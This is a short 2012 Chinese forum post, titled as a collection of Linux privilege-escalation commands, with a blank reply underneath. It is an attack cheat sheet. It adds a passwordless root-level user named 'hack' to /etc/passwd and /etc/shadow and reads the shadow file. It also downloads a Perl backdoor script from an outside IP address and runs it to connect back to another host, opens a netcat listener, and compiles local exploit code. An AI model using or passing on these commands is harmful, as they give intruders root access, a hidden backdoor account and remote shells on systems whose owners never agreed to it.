小男孩 发表于 2012-12-26 11:34:32

linux提权命令收集

cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "root"
echo hack:x:0:0:root:/root:/bin/bash >>/etc/passwd

cat /etc/shadow
echo hack::133380:0:99999:7::: >>/etc/shadow
wget http://58.19.202.2x/back.pl
passwd hack

ps -aux

whoami
uname -a
nc -vv -lp 123456

cd test;wget
perl back.pl 58.252.46.142 60
ls

which gcc
gcc exp.c -o exp
gcc -o brk brk.c -static

uptime //看在线时间
cat /etc/issue //看版本​

blank 发表于 2012-12-26 12:01:58

页: [1]
查看完整版本: linux提权命令收集